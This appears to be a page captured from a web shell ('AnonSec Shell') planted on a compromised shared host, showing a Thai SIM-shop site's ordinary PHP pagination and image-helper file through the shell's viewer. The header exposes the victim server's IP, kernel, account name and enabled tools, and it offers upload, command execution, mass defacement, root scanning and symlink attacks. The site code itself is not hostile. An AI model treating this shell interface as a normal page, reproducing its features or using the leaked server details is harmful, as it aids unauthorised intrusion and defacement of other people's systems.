AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/include72/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/include72/class.php
<?php
session_start();
require_once("../class72/actionClass.php");
require_once("../class72/view_Class.php");
require_once("../class72/imageClass.php");
require_once("../class72/util_Class.php");
require_once("../class72/user_Class.php");
require_once("../class72/phone_Class.php");
require_once("../class72/runid_Class.php");
require_once("../include/some_screen.php"); 
date_default_timezone_set("Asia/Bangkok");
$actiondata_db = new actiondata;
$view_db = new Viewdata;
$image_class = new imageClass;
$util_class = new Util;
$User_db = new User;
$Phone_class = new Phone;
$runid_class = new Runid;
$upload ='../redbag/';
$urlimg_footer = '../';
$date = date("Y-m-d H:i:s");

if($_SESSION["simDed_login"] == 0){ $_SESSION["simDed_login"] = 0;}
$actual_link = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$domain = "https://www.simded.com";
//$domain = "https://localhost/simded";
$reset_password = $domain.'/main/simded/reset_password/' ;


$Url_shop = '../shop/';
$urlimg_main = '../';
function linkshop($name)
{
	return 'https://'.$name.'.simded.com';
}
function imgprofile_shop($img,$size)
{
  if($img == '')
  {
	  $text = '<img src="../images/b1.jpg" width="'.$size.'" height="'.$size.'" class="ImgProfile img-fluid">';
  }
  else
  {
	  $text = '<img src="../redbag/file_manage/'. $img.'" width="'.$size.'" height="'.$size.'" style="border-radius:30px;" class=" img-fluid"  />';
  }
  return $text;
}
function imgprofile_shophi($img)
{
  if($img == '')
  {
	  $text = '../images/b1.jpg';
  }
  else
  {
	  $text = '../redbag/file_manage/'. $img;
  }
  return $text;
}

function imgprofile_pro($img,$size)
{
  if($img == '')
  {
	  $text = '<img src="../images/profile.jpg" width="'.$size.'" height="'.$size.'" class=" img-fluid">';
  }
  else
  {
	  $text = '<img src="../redbag/file_manage/'. $img.'" width="'.$size.'" height="'.$size.'" class=" img-fluid"/>';
  }
  return $text;
}
function imgprofile_square($img,$size,$class)
{
  if($img == '')
  {
	  $text = '<img src="../images/profile.jpg" width="'.$size.'" height="'.$size.'"  class="'.$class.'"/>';
  }
  else
  {
	  $text = '<img src="../redbag/file_manage/'. $img.'" width="'.$size.'" height="'.$size.'"  class="'.$class.'"/>';
  }
  return $text;
}
function imgcover_square($img)
{
  if($img == '')
  {
	  $text = '<img src="../images/bannertop.jpg" width="848" height="334" class="img-fluid"/>';
  }
  else
  {
	  $text = '<img src="../redbag/file_manage/'. $img.'" width="848" height="334" class="img-fluid"/>';
  }
  return $text;
}
function page_news($page_number,$total_pages,$url,$get)
{
	?>
		<nav aria-label="Page navigation">
		<ul class="pagination">
		<li <?php  if($page_number == 0){?>class="active"<?php }?>><a href="<?php echo $url; ?>?page_number=0<?php echo $get; ?>">1</a></li><?php
		if($total_pages >= 7)
		{
			$n = $page_number-1;
			if($n < 0){$n = 0;}
			?><li><a href="<?php echo $url; ?>?page_number=<?php echo $n ?><?php echo $get; ?>"> << </a></li><?php
		}
		if($total_pages >= 7)
		{
			$p_end = $total_pages - 3;
			if($page_number > 3 && $page_number >=  $p_end)
			{
				$lop_p = $total_pages-1;
				$start_p = $p_end-1;
			}else{
				if($page_number == 0){
					$start_p = 1;
					$lop_p = 4;
				}
				else{
					$start_p = $page_number;
					$lop_p = $page_number+3;
				}
			}
		}else{ $lop_p = $total_pages - 1; $start_p = 1;}
		for($a=$start_p;$a<=$lop_p;++$a)
		{
			$b = $a + 1 ;
			if($a==$page_number)
			{
				?><li class="active"><a href="<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>" ><?php echo $b; ?></a></li><?php
			}
			else
			{
				?><li><a href="<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>" ><?php echo $b; ?></a></li><?php
			}
		}
		if($total_pages >= 7)
		{
			$p = $page_number+1;
			if($p >= $total_pages){$p = $total_pages;}
			?><li><a href="<?php echo $url; ?>?page_number=<?php echo $p ?><?php echo $get; ?>"> >> </a></li><?php
		}
		if($total_pages > 0)
		{
			?><li <?php  if($page_number == $total_pages){?>class="active"<?php }?>>
			<a href="<?php echo $url; ?>?page_number=<?php echo $total_pages ?><?php echo $get; ?>"><?php echo  $total_pages+1 ?></a></li><?php
		}
		?>
		</ul>
	</nav>
	<?php
}
function page_ajax($page_number,$total_pages,$file,$reply)
{
	?>
    <nav aria-label="Page navigation">
        <ul class="pagination">
                    <?php
                    if($page_number == 0 && $page_number > 3)
                    {
                        $start_p = floor($total_pages/3);
                        $pages_loop = $start_p + 3;
                    }
                    else
                    {
                        $start_p = 1;
                        if($total_pages > 4){$pages_loop = 4;}
						else
						{
							$pages_loop = $total_pages;
						}
                    }
                    if($page_number <> 0 && $page_number > 3)
                    {
                        $end_p  = $total_pages - 5 ;
                        if($page_number  < $end_p)
                        {
                            $start_p = $page_number;
                            $pages_loop = $start_p + 3;
                        }
                        else
                        {
                            $start_p = $end_p ;
                            $pages_loop = $start_p + 3;
                        }
                    }
                    ?>
                    <li <?php if($page_number == 0){?>class="active"<?php }?> style="cursor:pointer"
                    onclick="Ajax_turnpages(0,'<?php echo $file ?>','<?php echo $reply ?>')"><span>1</span></li><?php
					if($total_pages > 8)
					{
						$pre = $page_number-1;
						if($pre < 0){ $pre = 0;}
						?>
						<li>
						  <span  aria-label="Previous">
							<span aria-hidden="true" style="cursor:pointer" onclick="Ajax_turnpages(<?php echo $pre ?>,'<?php echo $file ?>','<?php echo $reply ?>')"> << </span>
						  </span>
						</li>
						<?php
					}
					for($a=$start_p;$a<=$pages_loop;++$a)
					{
						$b = $a + 1 ;
						?><li <?php if($page_number == $a){?>class="active"<?php }?> style="cursor:pointer"
                        onclick="Ajax_turnpages(<?php echo $b-1 ?>,'<?php echo $file ?>','<?php echo $reply ?>')" ><span><?php echo $b; ?></span></li>  <?php
					}
					if($total_pages > 8)
					{
						if($total_pages > 8)
						{
							 $next = $page_number+1;
							if($next > $total_pages){ $next = $total_pages;}
							?>
							<li>
							  <span  aria-label="Next">
								<span aria-hidden="true" style="cursor:pointer"
                                onclick="Ajax_turnpages(<?php echo $next ?>,'<?php echo $file ?>','<?php echo $reply ?>')"> >></span>
							  </span>
							</li>
							<?php
						}
						?>
						<li <?php if($page_number == $total_pages){?>class="active"<?php }?> style="cursor:pointer"
                         onclick="Ajax_turnpages(<?php echo $total_pages?>,'<?php echo $file ?>','<?php echo $reply ?>')"><span><?php echo $total_pages+1; ?></span></li>
						<?php
					}
                    ?>
                  </ul>
	</nav>
    <?php
}
function page_fmajax($page_number,$total_pages,$file,$fm,$reply)
{
	?>
    <nav aria-label="Page navigation">
        <ul class="pagination">
                    <?php
                    if($page_number == 0 && $page_number > 3)
                    {
                        $start_p = floor($total_pages/3);
                        $pages_loop = $start_p + 3;
                    }
                    else
                    {
                        $start_p = 1;
                        if($total_pages > 4){$pages_loop = 4;}
						else
						{
							$pages_loop = $total_pages;
						}
                    }
                    if($page_number <> 0 && $page_number > 3)
                    {
                        $end_p  = $total_pages - 5 ;
                        if($page_number  < $end_p)
                        {
                            $start_p = $page_number;
                            $pages_loop = $start_p + 3;
                        }
                        else
                        {
                            $start_p = $end_p ;
                            $pages_loop = $start_p + 3;
                        }
                    }
                    ?>
                    <li <?php if($page_number == 0){?>class="active"<?php }?> style="cursor:pointer"
                    onclick="AjaxFM_turnpages(0,'<?php echo $file ?>','<?php echo $fm ?>','<?php echo $reply ?>')"><span>1</span></li><?php
					if($total_pages > 8)
					{
						$pre = $page_number-1;
						if($pre < 0){ $pre = 0;}
						?>
						<li>
						  <span  aria-label="Previous">
							<span aria-hidden="true" style="cursor:pointer" onclick="Ajax_turnpages(<?php echo $pre ?>,'<?php echo $file ?>','<?php echo $fm ?>','<?php echo $reply ?>')"> << </span>
						  </span>
						</li>
						<?php
					}
					for($a=$start_p;$a<=$pages_loop;++$a)
					{
						$b = $a + 1 ;
						?><li <?php if($page_number == $a){?>class="active"<?php }?> style="cursor:pointer" onclick="AjaxFM_turnpages(<?php echo $b-1 ?>,'<?php echo $file ?>','<?php echo $fm ?>','<?php echo $reply ?>')" >
							<span><?php echo $b; ?></span></li>  <?php
					}
					if($total_pages > 8)
					{
						if($total_pages > 8)
						{
							 $next = $page_number+1;
							if($next > $total_pages){ $next = $total_pages;}
							?>
							<li>
							  <span  aria-label="Next">
								<span aria-hidden="true" style="cursor:pointer" onclick="AjaxFM_turnpages(<?php echo $next ?>,'<?php echo $file ?>','<?php echo $fm ?>','<?php echo $reply ?>')"> >></span>
							  </span>
							</li>
							<?php
						}
						?>
						<li <?php if($page_number == $total_pages){?>class="active"<?php }?> style="cursor:pointer" onclick="AjaxFM_turnpages(<?php echo $total_pages?>,'<?php echo $file ?>','<?php echo $fm ?>','<?php echo $reply ?>')"><span><?php echo $total_pages+1; ?></span></li>
						<?php
					}
                    ?>
                  </ul>
	</nav>
    <?php
}

?>



<?php function page_ajax2($page_number,$total_pages){	?>
	<div class="btn-toolbar" role="toolbar" aria-label="Toolbar with button groups">
	  <div class="btn-group me-2" role="group" aria-label="First group">
			<?php
			if($page_number == 0 && $page_number > 3){
					$start_p = floor($total_pages/3);
					$pages_loop = $start_p + 3;
			}else{
					$start_p = 1;
					if($total_pages > 4){$pages_loop = 4;}
					else{	$pages_loop = $total_pages;}
			}

			if($page_number <> 0 && $page_number > 3){
					$end_p  = $total_pages - 5 ;
					if($page_number  < $end_p){
							$start_p = $page_number;
							$pages_loop = $start_p + 3;
					}else{
							$start_p = $end_p ;
							$pages_loop = $start_p + 3;
					}
			}
			?>
	    <a href="?page_number=0" class="btn btn-warning-sim rounded-circle me-1 <?php if($page_number == 0){?>active-warning-sim<?php }?>"
				>1</a>
			<?php
			if($total_pages > 8)
			{
				$pre = $page_number-1;
				if($pre < 0){ $pre = 0;}
				?>
			<a href="?page_number=<?php echo $pre ?>" class="btn btn-warning-sim <?php echo (strlen($pre)>1)?'rounded-pill':'rounded-circle'; ?> me-1 "	> < </a>
			<?php
			}
			for($a=$start_p;$a<=$pages_loop;++$a)
			{
				$b = $a + 1 ;
			?>
			<a href="?page_number=<?php echo $b-1 ?>" class="btn btn-warning-sim <?php echo (strlen($b)>1)?'rounded-pill':'rounded-circle'; ?> me-1 <?php if($page_number == $a){?>active-warning-sim<?php }?>"	>
				<?php echo $b; ?>
			</a>
			<?php
			 }
			 if($total_pages > 8)
			 {
				 if($total_pages > 8)
				 {
						$next = $page_number+1;
					 if($next > $total_pages){ $next = $total_pages;}
			?>
			<a href="?page_number=<?php echo $next ?>" class="btn btn-warning-sim <?php echo (strlen($next)>1)?'rounded-pill':'rounded-circle'; ?> me-1 "> >
			</a>
			<?php } ?>

			<a href="?page_number=<?php echo $total_pages ?>" class="btn btn-warning-sim rounded-pill  me-1  <?php if($page_number == $total_pages){?>active-warning-sim<?php }?>"
				>
				<?php echo $total_pages+1; ?>
			</a>
			<?php	} ?>
	  </div>

	</div>
<?php } ?>


<?php function page_news2($page_number,$total_pages)
{
	?>
	<div class="btn-toolbar" role="toolbar" aria-label="Toolbar with button groups">
		<div class="btn-group ms-auto" role="group" aria-label="First group">
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1  <?php if($page_number == 0){?>active-warning-sim<?php }?>"
				onclick="window.location.href='<?php echo $url; ?>?page_number=0<?php echo $get; ?>'">1</button>
			<?php
			if($total_pages >= 7)
			{
				$n = $page_number-1;
				if($n < 0){$n = 0;}
			?>
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1 "
			onclick="window.location.href='<?php echo $url; ?>?page_number=<?php echo $n ?><?php echo $get; ?>'"> < </button>
			<?php
			}
			if($total_pages >= 7)
			{
				$p_end = $total_pages - 3;
				if($page_number > 3 && $page_number >=  $p_end)
				{
					$lop_p = $total_pages-1;
					$start_p = $p_end-1;
				}else{
					if($page_number == 0){
						$start_p = 1;
						$lop_p = 4;
					}
					else{
						$start_p = $page_number;
						$lop_p = $page_number+3;
					}
				}
			}else{ $lop_p = $total_pages - 1; $start_p = 1;}
			for($a=$start_p;$a<=$lop_p;++$a)
			{
			$b = $a + 1 ;
			if($a==$page_number)
			{
			?>
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1 <?php if($page_number == $a){?>active-warning-sim<?php }?>"
			onclick="window.location.href='<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>'"><?php echo $b; ?></button>
			<?php
			}else{
			?>
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1 "
			onclick="window.location.href='<?php echo $url; ?>?page_number=<?php echo $a?><?php echo $get; ?>'"><?php echo $b; ?></button>
			<?php
					}
				}
				if($total_pages >= 7)
				{
					$p = $page_number+1;
					if($p >= $total_pages){$p = $total_pages;}
			?>
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1  "
			onclick="window.location.href='<?php echo $url; ?>?page_number=<?php echo $p ?><?php echo $get; ?>'"> > </button>
			<?php
				}if($total_pages > 0){
			?>
			<button type="button" class="btn btn-warning-sim rounded-pill  me-1  <?php  if($page_number == $total_pages){?>active-warning-sim<?php }?>"
				onclick="window.location.href='<?php echo $url; ?>?page_number=<?php echo $total_pages ?><?php echo $get; ?>'">
				<?php echo  $total_pages+1 ?></button>
			<?php	}	?>

		</div>
	</div>


	<?php
}
?>

Anon7 - 2022
AnonSec Team